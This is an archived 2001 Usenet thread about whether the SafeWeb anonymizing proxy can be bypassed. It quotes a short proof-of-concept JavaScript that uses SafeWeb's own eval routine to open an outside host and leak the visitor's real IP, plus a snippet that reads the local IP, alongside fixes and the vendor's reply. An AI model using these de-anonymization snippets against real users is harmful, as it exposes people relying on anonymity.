🚀 go-pugleaf

RetroBBS NetNews Server

Inspired by RockSolid Light RIP Retro Guy

Thread View: alt.privacy.anon-server
14 messages
14 total messages Started by Anonymous Sat, 05 May 2001 19:25
Re: Hiding our IP
#18556
Author: Anonymous
Date: Sat, 05 May 2001 19:25
29 lines
2076 bytes
On Fri, 04 May 2001 23:57, Dave Howe <Spam.Blocker@bigfoot.com>
wrote..

>"A. Melon" <juicy@melontraffickers.com> said :
>>Dave Howe <Spam.Blocker@bigfoot.com> wrote..

>>>Governments have happily let thousands of people die before now
>>>to hide the fact they can eavesdrop on sensitive conversations..
>>The CIA contracted Safeweb. Safeweb should be considered monitored.

>Gas stations sell Gas to the CIA for their cars. Gas stations should
>be considered monitored.

Very true, camera's et al.
Dave.. I am capable of reasoning, are you?..

>>Safeweb is not secure.. I tested Safeweb with an embedded object
>>and 'the worm bot' clearly showed my original IP#, together with
>>the IP# of the Safeweb relay.

>presumably this is the imbedded object that was the subject of the
>"shall I allow this y/n?" dialog box you said Y to?

No.. I read that JavaScript *must* be allowed, so I tested Safeweb
against known exploits.  Safeweb != Safe..

DrJohn.
 
Re: Hiding our IP
#18557
Author: Dave Howe
Date: Sat, 05 May 2001 20:15
15 lines
1637 bytes
In our last episode (<alt.security.pgp>[Sat,  5 May 2001 21:25:19
+0200 (CEST)]), Anonymous <mix@mix2.hyperreal.pl> said :
>On Fri, 04 May 2001 23:57, Dave Howe <Spam.Blocker@bigfoot.com>
>wrote..
>Very true, camera's et al.
>Dave.. I am capable of reasoning, are you?..
Probably ;)

>No.. I read that JavaScript *must* be allowed, so I tested Safeweb
>against known exploits.  Safeweb != Safe..
Well, that is easy for you to demonstrate - return to that site, load
up the page, and save it as a Safeweb shortcut - then paste the url
here so we can see it fail for ourselves.

--== DaveHowe ( is at) Bigfoot dot com ==--
Re: Hiding our IP
#18559
Author: Paul Rubin
Date: Sun, 06 May 2001 07:09
21 lines
2105 bytes
Dave Howe <Spam.Blocker@bigfoot.com> writes:
> Well, that is easy for you to demonstrate - return to that site, load
> up the page, and save it as a Safeweb shortcut - then paste the url
> here so we can see it fail for ourselves.

Try visiting http://www.nightsong.com/phr/safeweb-insecure.html.  That
page contains some javascript to pop a window on www.yahoo.com, where
the javascript is cooked to bypass Safeweb's anonymization, so your IP
address will appear in Yahoo's logs.

Of course I could have made the javascript generate an image tag
to a 1x1 pixel invisible gif on my site, instead of to Yahoo.  
That means I'd have gotten your IP instead of Yahoo, and no window
would have popped.  

Safeweb does anonymize normal, straightforwardly written Javascript,
but someone writing javascript specifically to beat Safeweb
anonymization can get your address.  I haven't noticed any sites doing
that, and I find Safeweb useful for providing low-grade privacy
despite its having some security holes.  I would never think of it as
being in the same league as ZKS Freedom or anything like that.
Re: Hiding our IP
#18562
Author: Thomas Shaddack
Date: Sun, 06 May 2001 13:44
20 lines
1899 bytes
Paul Rubin <phr-n2001@nightsong.com> wrote in 
<7xn18rt0lz.fsf@ruckus.brouhaha.com>:

>Of course I could have made the javascript generate an image tag
>to a 1x1 pixel invisible gif on my site, instead of to Yahoo.
>That means I'd have gotten your IP instead of Yahoo, and no window
>would have popped.

Combine it with access-blocking proxy, configure the proxy with a 
"whitelist" (forbid access to machines other than the listed ones), and put 
Safeweb's site on the whitelist? This would catch all the HTTP requests to 
other servers that could jeopardize your security.

Of course, non-HTTP connections aren't affected and still pose risk. Couple 
this with a sort of a firewall (ZoneAlarm? Tiny Personal Firewall?) that 
will guard other outgoing connections.

Could help.

        Shaddack, the Mad Scientist
Re: Hiding our IP
#18576
Author: Dave Howe
Date: Sun, 06 May 2001 21:31
30 lines
2232 bytes
In our last episode (<alt.security.pgp>[06 May 2001 00:09:28 -0700]),
Paul Rubin <phr-n2001@nightsong.com> said :
>Try visiting http://www.nightsong.com/phr/safeweb-insecure.html.  That
>page contains some javascript to pop a window on www.yahoo.com, where
>the javascript is cooked to bypass Safeweb's anonymization, so your IP
>address will appear in Yahoo's logs.
You have my public apology - you have successfully bypassed Safeweb's
javascript filter.
for those who don't want to visit the above page, here is the code
concerned:

<script>
foo = "win";
foo = foo +( "dow.o");
foo = foo +( "pen ('ht");
foo = foo +( "tp:/");
foo = foo +( "/ww");
foo = foo +( "w.yahoo.com')");
eval(
window.top.fugunet_getCleanJS(
foo, "https://www.safeweb.com/o/_o(154):_win(1):_w:
_base(http://www.nightsong.com/phr/):"));
</script>
<script language='vbscript'
src='https://www.safeweb.com/_s:fugunet_vbslib.htm'></script>

as you can see, it builds the script command
"window.open('http://www.yahoo.com')" from string segments, then uses
one of Safeweb's *own scripts* to execute it ;)
--== DaveHowe ( is at) Bigfoot dot com ==--
Re: Hiding our IP
#18577
Author: Dave Howe
Date: Sun, 06 May 2001 21:32
13 lines
1896 bytes
In our last episode (<alt.security.pgp>[Sun, 6 May 2001 13:44:39 +0000
(UTC)]), NOSPAMshaddack@type2.com (Thomas Shaddack) said :
>Combine it with access-blocking proxy, configure the proxy with a 
>"whitelist" (forbid access to machines other than the listed ones), and put 
>Safeweb's site on the whitelist? This would catch all the HTTP requests to 
>other servers that could jeopardize your security.
it would catch this one 'sploit, yes - but if you had some javascript
that changed a hidden field on your form to read as your IP address,
then legitimately hit the "send" button thinking you were just logging
into your webmail, but were in fact confirming your real email address
to them via the safeweb interface?

--== DaveHowe ( is at) Bigfoot dot com ==--
Re: Hiding our IP
#18580
Author: Paul Rubin
Date: Mon, 07 May 2001 00:00
18 lines
2091 bytes
NOSPAMshaddack@type2.com (Thomas Shaddack) writes:
> >Of course I could have made the javascript generate an image tag
> >to a 1x1 pixel invisible gif on my site, instead of to Yahoo.
> >That means I'd have gotten your IP instead of Yahoo, and no window
> >would have popped.
> 
> Combine it with access-blocking proxy, configure the proxy with a 
> "whitelist" (forbid access to machines other than the listed ones), and put 
> Safeweb's site on the whitelist? This would catch all the HTTP requests to 
> other servers that could jeopardize your security.

Yeah, you could do that, it would fix the security hole, but it means
that the page wouldn't operate properly (you wouldn't see the pop-up
window).  The whole approach of anonymizing by rewriting html/js is a
big kludge.  The real fix is to set up the anonymizer as a
conventional proxy server that does no html rewriting, and configure
your browser to pull everything through it.  That's how lwpa.com worked
but I think it's shut down now.
Re: Hiding our IP
#18582
Author: Thomas Shaddack
Date: Mon, 07 May 2001 18:03
71 lines
4763 bytes
Dave Howe <Spam.Blocker@bigfoot.com> wrote in
<0lgbftkgsm798fkv85dcs97vdnrub26103@4ax.com>: 

>it would catch this one 'sploit, yes - but if you had some javascript
>that changed a hidden field on your form to read as your IP address,
>then legitimately hit the "send" button thinking you were just logging
>into your webmail, but were in fact confirming your real email address
>to them via the safeweb interface?

(Real email address, or an IP address? Say it's a typo. :) )

Yeah, *this* would be what would go through all the javascript-conserving 
protections. The script is:

addr=java.net.InetAddress.getLocalHost();
host=addr.getHostName();
ip=addr.getHostAddress();

However, defense still exists; java object is a toplevel object for 
accessing all the classes in the java package from within javascript.
I found this one class in the file /windows/java/packages/d7t757lf.zip 
(about 5 megs),as java/net/InetAddress.class file.

One of the possibilities is to just erase the class files (if java virtual 
machine is never to be used on the computer). If you want to retain java 
capabilities but don't want it to access your IP, just erase or damage this 
file in the package.

Other possibility, useful for selectively disabling javascript 
functions/objects, is to find the relevant DLL in /windows/system/, take a 
hexeditor, and subtly change the name of the property there (ie, insert a 
different character; I usually use "!" to replace some character in the 
identifier). This is pretty universal method to deal with language 
interpreters.

CAVEAT: It can happen that your labour will be destroyed by a random update 
of the system without you knowing about it. Keep a checksum of the file and 
check it during each startup. Alternatively, have a copy of the file 
somewhere and copy it back to its original location during each startup. 
(The run-when-startup directory and relevant registry entries are your 
friends.)

The direct binary editing of the DLLs is deadly effective measure to deal 
with things like spyware. Usually the URLs the program has to contact (most 
of spyware uses HTTP as transport protocol, it's very comfortable and 
bulletproof in terms of compatibility with the installations) is stored 
somewhere in the file. Find it, destroy it. Either repoint it to 127.0.0.1 
or to a friendly machine where you have alternate content to receive. Or 
replace it with a nonexistent address; the DNS lookup then will fail and no 
request will be done.

Some adware/spyware uses a default proxy, as set in the browser. This is 
what I call nice behaviour, and a filtering proxy (like my pet, Internet 
Junkbuster) can deal with it. However, in some cases (like the infamous 
Aureate advert.dll), the library contains its own socket code and does the 
requests on its own; in such cases, you will usually find in the DLL the 
HTTP headers and a GET or POST statements. Destroy them. Computers treat 
such things on the principle of exact matches, so one-character difference 
makes the line incomprehensible for the target machine, even if the request 
will not be possible to be intercepted it will not be understood. (So no 
more dancing animated GIFs!) Proven experimentally, works.

This is universally usable approach when you want to disable some functions 
of the software. It is very powerful way to enforce your will. Of course, 
in some jurisdictions it could be considered illegal, as it is "unlicenced 
modification".

Be creative.
It's only one and zeroes! :)

        Shaddack, the Mad Scientist
Re: Hiding our IP
#18585
Author: Dave Howe
Date: Mon, 07 May 2001 19:51
45 lines
3844 bytes
In our last episode (<alt.security.pgp>[Mon, 7 May 2001 18:03:24 +0000
(UTC)]), NOSPAMshaddack@type2.com (Thomas Shaddack) said :
>Dave Howe <Spam.Blocker@bigfoot.com> wrote in
><0lgbftkgsm798fkv85dcs97vdnrub26103@4ax.com>: 
>
>>it would catch this one 'sploit, yes - but if you had some javascript
>>that changed a hidden field on your form to read as your IP address,
>>then legitimately hit the "send" button thinking you were just logging
>>into your webmail, but were in fact confirming your real email address
>>to them via the safeweb interface?
>(Real email address, or an IP address? Say it's a typo. :) )
both, actually - if you include the email address you type in for use
with anon logins/actual mail (if you are foolish enough to use
Netscape for both email and browsing) but yes, it was a braino - I
meant IP (as you could deduce from the statement about changing a
formfield to unhide it) but was thinking "and maybe email as well" and
sorta missed out some words ;)

>Yeah, *this* would be what would go through all the javascript-conserving 
>protections. The script is:
>One of the possibilities is to just erase the class files (if java virtual 
>machine is never to be used on the computer). If you want to retain java 
>capabilities but don't want it to access your IP, just erase or damage this 
>file in the package.
Obvious replies here are that (as you noted) a random update could
replace them (and indeed, future versions of the browser may well
check the checksum for that file internally and fix it every time) and
second, that you may not be able to do so - if (for example) it is a
company or cybercafe computer, then a dim view will be taken of you
buggering about at a low level with system files.
In any case, it is a fairly techie thing to do - I could do it, as
could most of this group - but if your auntie has a computer (you
know, the one who calls you for tech support and can't launch the
internet dialup if the "The Internet" icon gets accidentally dragged
into a folder), could you trust her to do it successfully? Should you
have to? the bulk of this attack relies on two things
a) building the command as a string at runtime
b) calling Safeweb internal routines to execute the string
all that is really needed is for the Safeweb internal routine to
sanity-check the input one more time - if it gets handed an unsafe
string that it wouldn't have passed the first time though - then it
shouldn't pass it the second time. yes, this will add overheads - but
with luck they will be low.

--== DaveHowe ( is at) Bigfoot dot com ==--
SafeWeb "Paranoid" Sanitization kills JS bugs
#18587
Author: Jon Chun
Date: Mon, 07 May 2001 23:23
176 lines
10638 bytes
FYI,

The JavaScript code on the site referenced below is indeed "cooked"
and in a form neither the author or we have ever seen real content
sites use.  In fact, a company/webmaster would usually have to go to
some length to re-write all their links in such an unnatural and
difficult to maintain fashion in an futile attempt to fool SafeWeb.
To protect yourself against such potentially malicious websites simply
click on the "Configure" button in the SafeWeb toolbar and check the
"Paranoid" sanitization level.  

To verify SafeWeb defeats this "cooked" JavaScript please try the
following:

1) Goto www.safeweb.com
2) Enter www.yahoo.com in the main input box and click the "Go!"
button
3) The secure SafeWeb browser window will open up with our toolbar at
the top.  Click on the "Configure" button below the URL input box.
4) The Configuration window will pop-up, check the "Paranoid" box
under the Sanitization level and then click "Update Options"
5) Now enter "www.nightsong.com/phr/safeweb-insecure.html" into the
SafeWeb toolbar

You'll now see that this "cooked" malicious JavaScript code is blocked
by SafeWeb and you are protected from any invasive pop-up yahoo window
(or 1x1 gif).  The "Paranoid" Sanitization Level is not a default
because such malicious websites are extremely rear while many more
real websites may use the same potentially dangerous JavaScript
command for legitimate reasons.  Rather than potentially limit
functionality of these real websites we've enabled you to selectively
protect yourself against such theoretically malicious websites should
they come into existence.

Keep in mind, any website that did intentionally deploy such malicious
"cooked" JavaScript would immediately stand-out and garner negative
press for going to such extreme efforts for controversial
anti-consumer and anti-privacy objectives.  In a time when even
companies like DoubleClick are backtracking on their previous privacy
violations and appointing "Chief Privacy Officers", consumer rights
groups are winning the ear of the media and even the government is
hard at work on privacy legislation you're not likely to see any
significant web property go to through such contortions and costs to
invade your privacy with such "cooked" JavaScript.  If this did come
to pass, you can just block such malicious JavaScript now via our
"Paranoid" Sanitization Level or SafeWeb could automatically switch on
"Paranoid" sanitization for known offenders.  In addition, SafeWeb can
simply add code to trap such "cooked" code if the situation demands it
as described below.

(NOTE:  The next two paragraphs have a more technical description for
those who are interested in the details of how this "cooked"
JavaScript works and how SafeWeb defeats it.  Please ignore it if
you're neither technical nor interested in such detail).

This "cooked" JavaScript works by taking advantage of what SafeWeb
calls "dangerous" JavaScript such as those commands with the ability
to create self-modifying code including the "eval" statement used
here.  Such self-modifying code works by dynamically creating
additional commands that are then executed.  The danger here is that
any sanitization program parsing self-modifying code will not, to a
first approximation, know what the ultimate command created by
self-modifying code is before execution making it difficult to
determine malicious intent.  In addition, the eval command is executed
on the remote client PC within the web browser's embedded JavaScript
interpreter engine which SafeWeb has no view into.  To catch
maliciously written self-modifying code one would have to basically
create a full JavaScript interpreter on our proxy servers and test the
execution there.

However, because JavaScript, VBScript and most other web scripting
languages are relatively straightforward and have few powerful,
potentially malicious commands we can contain the potential problems
much more simply.  The simplest solution is to selectively block these
few commands which could potentially be misused which is what
"Paranoid" Sanitization does in SafeWeb.  Most websites do not depend
upon these few JavaScript commands so most web surfing is unaffected.
Should websites begin to commonly deploy such malicious JavaScript
(very unlikely), SafeWeb can further address this issue by extending
our JavaScript sanitizer to only pass through self-modifying commands
we can resolve and certify to be secure.  This would leave the vast
majority of the rich websites secure and functional via SafeWeb.

(NOTE:  End of Technical jargon)

The overriding design goals of SafeWeb are to be "easy to use" and
"effective".  SafeWeb was founded because there was (and still is) no
other security technology meeting both of these goals.  There are very
effective solutions like "PGP", "SSH", "Citrix Metaframe" and
"Freedom" to solve various security and privacy issues but all are too
complex and expensive for the vast majority of users who are
non-technical which explains why none of them can be considered a
standard for Internet privacy.  We decided early on that this market
for complex security applications was crowded with good products.  In
addition, most download applications such as Alexa, Freedom, Brodia,
etc (although useful) have been marketplace failures, massively
unprofitable, of questionable longivity, and do not meet the general
needs of 95% of Internet users who even struggle with AOL.  In
addition, download applications have tremendous problems with cross
platform programming, support and costs as well as incompatibilities
with other applications, operating systems and even ISPs like AOL.
Finally, download applications do not work on managed networks like
corporate LANs or behind restrictive government firewalls where
privacy and security are most in need.  However, if a particular user
does have the money, time, expertise and no technical
incompatibilities/restrictions that allow these applications to be
used they are effective no doubt.

To be easy to use SafeWeb had to be a web-based security solution
anyone could use anywhere, anytime without downloads, configuration,
registration, login, etc.  In looking at the many web-based privacy
proxies we realized that none were really effective.  Before SafeWeb
became the world's largest privacy proxy shortly after our launch, the
oldest and previously largest web-based security solution did then and
still:  (1) sends all web content unencrypted over the public Internet
(paid and free version - SSH tunneling very costly, complicated,
impractical and not a pure web solution), (2) can only sanitize simple
static HTML breaking millions of rich websites like sony, mtv,
hotmail, etrade and webvan (all versions), (3) partners with invasive
advertisers like flycast, (4) can easily be blocked by firewalls and
censorware (all version) and (5) blocks you from viewing many websites
(free version).

SafeWeb has solved all these shortcomings common among the "easy to
use" web-based privacy solutions in order to create an "effective"
security solution.  In addition, with TriangleBoy SafeWeb is the only
privacy service of any kind that cannot be blocked via traditional
firewalls and other censorware.  Within a few months from launch
SafeWeb has quickly grown to be the world's largest online browsing
privacy service mostly via a few good press articles, word of mouth
and users voting with their browsers.

Although no security technology is immune from such issues, we have
not discovered nor had any actual security holes reported to us.  To
date, all such reports of potential security holes have turned out to
be from  users who do not know of all functionality of SafeWeb which
we often embed behind the "Configure" button to protect non-technical
users from overload.  We are not overly arrogant or naive to think
that such security holes will not eventually be discovered and always
listen and respond in quickly to all such feedback like this one.  If
you do find what you think is a security hole or have other issues or
comments regarding SafeWeb/TraingleBoy please contact us at
feedback@safeweb.com.

Regards,

Jon Chun
President & Co-founder
SafeWeb



On 06 May 2001 00:09:28 -0700, Paul Rubin <phr-n2001@nightsong.com>
wrote:

>Dave Howe <Spam.Blocker@bigfoot.com> writes:
>> Well, that is easy for you to demonstrate - return to that site, load
>> up the page, and save it as a Safeweb shortcut - then paste the url
>> here so we can see it fail for ourselves.
>
>Try visiting http://www.nightsong.com/phr/safeweb-insecure.html.  That
>page contains some javascript to pop a window on www.yahoo.com, where
>the javascript is cooked to bypass Safeweb's anonymization, so your IP
>address will appear in Yahoo's logs.
>
>Of course I could have made the javascript generate an image tag
>to a 1x1 pixel invisible gif on my site, instead of to Yahoo.  
>That means I'd have gotten your IP instead of Yahoo, and no window
>would have popped.  
>
>Safeweb does anonymize normal, straightforwardly written Javascript,
>but someone writing javascript specifically to beat Safeweb
>anonymization can get your address.  I haven't noticed any sites doing
>that, and I find Safeweb useful for providing low-grade privacy
>despite its having some security holes.  I would never think of it as
>being in the same league as ZKS Freedom or anything like that.
Re: SafeWeb "Paranoid" Sanitization kills JS bugs
#18589
Author: Dave Howe
Date: Tue, 08 May 2001 01:20
161 lines
10117 bytes
In our last episode (<alt.security.pgp>[Mon, 07 May 2001 23:23:40
GMT]), safeweb2@pacbell.net (Jon Chun) said :
Interesting - welcome to the group(s) Jon - I hope you hang around a
while so we can ask you things about safeweb ;)

>FYI,
>The JavaScript code on the site referenced below is indeed "cooked"
>and in a form neither the author or we have ever seen real content
>sites use.  In fact, a company/webmaster would usually have to go to
>some length to re-write all their links in such an unnatural and
>difficult to maintain fashion in an futile attempt to fool SafeWeb.
I hate to point out that the webmaster might not even know - it could
be a webbanner include, from a doubleclick-style site.

>To protect yourself against such potentially malicious websites simply
>click on the "Configure" button in the SafeWeb toolbar and check the
>"Paranoid" sanitization level.  
which seems to work, yes - but unfortunately at the expense of some of
the other javascript-using sites I tried. I assume that is why it
isn't the default.

>You'll now see that this "cooked" malicious JavaScript code is blocked
>by SafeWeb and you are protected from any invasive pop-up yahoo window
>(or 1x1 gif).  The "Paranoid" Sanitization Level is not a default
>because such malicious websites are extremely rear while many more
>real websites may use the same potentially dangerous JavaScript
>command for legitimate reasons.  Rather than potentially limit
>functionality of these real websites we've enabled you to selectively
>protect yourself against such theoretically malicious websites should
>they come into existence.
the problem then becomes identifying such sites.
Let us take a scenario using only the displayed functionality - a
DoubleClick style advertising company decides it desparately needs
marketing info on those who are safewebbing; to this end, it arranges
for the free web hosts to be requesting an entire html page from their
server (or SSI requesting a subset of html), rather than just a
graphic. on selected days then, it checks the inbound request, and for
sites that are in the Safeweb IP range, returns a cooked page that
opens one of the usual annoying popups, frameless and without any
controls other than the close. so many geocities-style sites use them,
users just close them automatically without even really looking at
them - but in this case, they have stepped outside of the nice safe
Safeweb sandbox. Provided the terms & conditions of the hosting
service permit it (a generic "hosting services xxx is funded entirely
by advertising revenue; while we do not track visitor IP addresses in
any way, we cannot guarantee that our advertisers do not;" followed by
and buried in enough of the usual "withdraw a site at any time" and
"illegal content not permitted" clauses that few people ever read will
give the host something to point and and wash their hands of the
situation) they will say they are exchanging webspace and bandwidth
for advertising "eyeballs" in an increasingly poor-paying market, and
are surprised/upset about this and will take it up with the company
immediately....

>Keep in mind, any website that did intentionally deploy such malicious
>"cooked" JavaScript would immediately stand-out and garner negative
>press for going to such extreme efforts for controversial
>anti-consumer and anti-privacy objectives.  
no more than they would for gathering such info anyhow - if they feel
no guilt over grabbing and correlating such info in the first place,
then they are unlikely to feel added guilt over bypassing any
lockdowns the user may have put in place.

>In a time when even
>companies like DoubleClick are backtracking on their previous privacy
>violations and appointing "Chief Privacy Officers", consumer rights
>groups are winning the ear of the media and even the government is
>hard at work on privacy legislation you're not likely to see any
>significant web property go to through such contortions and costs to
>invade your privacy with such "cooked" JavaScript.  If this did come
>to pass, you can just block such malicious JavaScript now via our
>"Paranoid" Sanitization Level or SafeWeb could automatically switch on
>"Paranoid" sanitization for known offenders.  
It would almost have to be automatic - members of these groups are the
converted as far as privacy goes, but the average joe-on-the-street
will just assume Safeweb is transparently doing what it says it is -
sanatizing attempts to track him.

>In addition, SafeWeb can
>simply add code to trap such "cooked" code if the situation demands it
>as described below.
<snip>
I must admit to not having learned JS to this depth - is it really so
difficult to rewrite Eval(string) as Eval(Safeweb.checksafe(string))?
(note this not valid syntax, and I know it - it is just to give feel
for the required process) or would that be too slow for most uses? I
have the feeling it would be (imagining a site calculating a clock
with eval *shudder*)
how about a java library? could you call a local java app to
sanity-check strings for you? even if this only caught events after
the fact (got a copy of the string after it had been passed to eval,
and popped up a "oops, site has done $NAUGHTYTHING; click here of if
you wish to inform Safeweb of the following information:
website url
string"

>The overriding design goals of SafeWeb are to be "easy to use" and
>"effective".  SafeWeb was founded because there was (and still is) no
>other security technology meeting both of these goals.  There are very
>effective solutions like "PGP", "SSH", 
both of which are really only packet-based - ok for email or terminal
sessions, but not really much use to the average user.
I could see a use for a VPN tunnel to a web proxy that doesn't pass on
user IP, but as you point out, this requires a lot of client-side code
to be running.

>"Citrix Metaframe" 
not really a security tool - but useful for remote dialin to a LAN.

>and "Freedom" 
heard good things about it - but yes, requires client-side installs
and accounts and so forth.

> In
>addition, download applications have tremendous problems with cross
>platform programming, support and costs as well as incompatibilities
>with other applications, operating systems and even ISPs like AOL.
Hmm. Safeweb works well in IE and Netscape........

<snip advertising copy>
yes, Safeweb is vastly better than Anonymiser, and for free we are
probably looking a gift horse in the mouth - but unfortunately, by
establishing a expectation of "for dummies" online security, you may
be risking getting users to drop protection they might otherwise have
used 
(taking an extreme example; someone living in a repressive country
might be posting info on people the local troops are looking for to an
online site so they know to dig a hole and pull it in after them until
they stop looking; the local governor decides finding out who this is
is a high priority (especially now he seems to be posting directly to
the board, rather than sending the data to a online confederate in
america who then posted it up to a day later) so they hire a hacker
who breaks into the site - finding safeweb accesses he can't trace.
but hey, here is this handy 'sploit he knows - so he arranges for the
upload page (only) to trace the IP of whoever uploads the next file to
that area.....)
Yes, it's an extreme example, and the user should not have been so
foolish as to rely on Safeweb alone if his life depended on it (or to
at least investigate the settings and set them to "paranoia" every
time) - but he could well believe that the extra day of advanced
warning would save more lives than he was risking.

>Although no security technology is immune from such issues, we have
>not discovered nor had any actual security holes ....<snip>
we have. Ok, we have not found a *live* site using this, but a hole is
a hole - the usual theme for Bugtraq posts is that it is better to fix
the hole in advance than risk a blackhat exploiting the hole for
months before anyone notices. In the same theme, it would have been
better for Safeweb to have been notified directly rather than told
this conversation was happening - Bugtraq posts are usually condemned
by the list members if they don't say the authors were notified, and
given at least a week to respond (note not fix - just acknowledge the
problem and give an estimate of the time it will take to fix) but the
fact still remains - if a route exists to bypass the protection of a
program, then you do not need to find examples of it "in the wild"
before you look into patching it. I would argue that "safe unless the
webmaster wants to make a real effort to get your data" is not safe
enough.
I am sorry if this is a bit unformatted - but it is after 2am here,
and I am going to bed now ;)
--== DaveHowe ( is at) Bigfoot dot com ==--
Re: SafeWeb "Paranoid" Sanitization kills JS bugs
#18590
Author: Free-man
Date: Tue, 08 May 2001 12:58
60 lines
4504 bytes
On Mon, 07 May 2001 23:23:40 GMT, safeweb2@pacbell.net (Jon Chun)
wrote:

>The overriding design goals of SafeWeb are to be "easy to use" and
>"effective".  SafeWeb was founded because there was (and still is) no
>other security technology meeting both of these goals.  There are very
>effective solutions like "PGP", "SSH", "Citrix Metaframe" and
>"Freedom" to solve various security and privacy issues but all are too
>complex and expensive for the vast majority of users who are
>non-technical which explains why none of them can be considered a
>standard for Internet privacy.  We decided early on that this market
>for complex security applications was crowded with good products.  In
>addition, most download applications such as Alexa, Freedom, Brodia,
>etc (although useful) have been marketplace failures, massively
>unprofitable, of questionable longivity, and do not meet the general
>needs of 95% of Internet users who even struggle with AOL.  In
>addition, download applications have tremendous problems with cross
>platform programming, support and costs as well as incompatibilities
>with other applications, operating systems and even ISPs like AOL.
>Finally, download applications do not work on managed networks like
>corporate LANs or behind restrictive government firewalls where
>privacy and security are most in need.  However, if a particular user
>does have the money, time, expertise and no technical
>incompatibilities/restrictions that allow these applications to be
>used they are effective no doubt.
>
>To be easy to use SafeWeb had to be a web-based security solution
>anyone could use anywhere, anytime without downloads, configuration,
>registration, login, etc.  In looking at the many web-based privacy
>proxies we realized that none were really effective.  Before SafeWeb
>became the world's largest privacy proxy shortly after our launch, the
>oldest and previously largest web-based security solution did then and


>SafeWeb has solved all these shortcomings common among the "easy to
>use" web-based privacy solutions in order to create an "effective"
>security solution.  In addition, with TriangleBoy SafeWeb is the only
>privacy service of any kind that cannot be blocked via traditional
>firewalls and other censorware.  Within a few months from launch
>SafeWeb has quickly grown to be the world's largest online browsing
>privacy service mostly via a few good press articles, word of mouth
>and users voting with their browsers.
>
>Although no security technology is immune from such issues, we have
>not discovered nor had any actual security holes reported to us.  To
>date, all such reports of potential security holes have turned out to
>be from  users who do not know of all functionality of SafeWeb which
>we often embed behind the "Configure" button to protect non-technical
>users from overload.  We are not overly arrogant or naive to think
>that such security holes will not eventually be discovered and always
>listen and respond in quickly to all such feedback like this one.  If
>you do find what you think is a security hole or have other issues or
>comments regarding SafeWeb/TraingleBoy please contact us at
>feedback@safeweb.com.

Hello Jon

FYI, Safeweb does not work with Opera, the best browser on the market.

Rich Eramian aka freeman at shore dot net
Safeweb eval() potential hole solution (was: SafeWeb "Paranoid" Sanitization kills JS bugs)
#18591
Author: Thomas Shaddack
Date: Tue, 08 May 2001 22:52
55 lines
3252 bytes
Dave Howe <Spam.Blocker@bigfoot.com> wrote in 
<b4feft88h4ochujrvbvr4cii6guno7mgoh@4ax.com>:

<snip>
>I must admit to not having learned JS to this depth - is it really so
>difficult to rewrite Eval(string) as Eval(Safeweb.checksafe(string))?
>(note this not valid syntax, and I know it - it is just to give feel
>for the required process) or would that be too slow for most uses? I
>have the feeling it would be (imagining a site calculating a clock
>with eval *shudder*)
>how about a java library? could you call a local java app to
>sanity-check strings for you? even if this only caught events after
>the fact (got a copy of the string after it had been passed to eval,
>and popped up a "oops, site has done $NAUGHTYTHING; click here of if
>you wish to inform Safeweb of the following information:
>website url
>string"

Not necessary, not necessary!

It's possible to re-set eval() function pointer to another function that 
gets executed instead each time eval() is called.

Example:
<script language=javascript>
eval=alert;
eval("document.write('This is a test');");
</script>

Try this and you will see what I mean. I just tried it (MSIE5) and it 
works. :)

Disclaimer: I am not familiar with SafeWeb's javascript libraries so I 
don't know what functions are available and what further "magic" is 
possible.

The implementation could look this way:

function safeeval(s)
{randomstringeval(Safeweb.checksafe(string));}
randomstringeval=eval;  //Prevent recursion
eval=safeeval;

The "randomstring" part would have to be replaced by a random sequence of 
characters, unique for each page served; this will prevent eventual attack 
via direct call of original renamed unsecured eval().

This script has to be placed at the very beginning of the page; I suppose 
this part is trivial for SafeWeb's processing scripts.

Voila, eval() hole is closed :)

Calling for peer review; if I am wrong in anything, please correct me.

        Shaddack, the Mad Scientist
Re: Safeweb eval() potential hole solution (was: SafeWeb "Paranoid" Sanitization kills JS bugs)
#18596
Author: Thomas J. Boschloo
Date: Wed, 09 May 2001 12:10
17 lines
2012 bytes
Thomas Shaddack wrote:

> It's possible to re-set eval() function pointer to another function that
> gets executed instead each time eval() is called.

Sounds clever!

But how about an SSL page? I don't think Safeweb will be able to filter
SSL protected pages (or otherwise the whole SSL business of keeping your
credit card info confidential is screwed). It just seems to me that
there remain holes as long as you don't trade it all in for a
client-side solution like ZKS/Freedom.

Not sure about all this however, just guessing,
Thomas
-- 
"Software patents harm the flow of free information"
Thread Navigation

This is a paginated view of messages in the thread with full content displayed inline.

Messages are displayed in chronological order, with the original post highlighted in green.

Use pagination controls to navigate through all messages in large threads.

Back to All Threads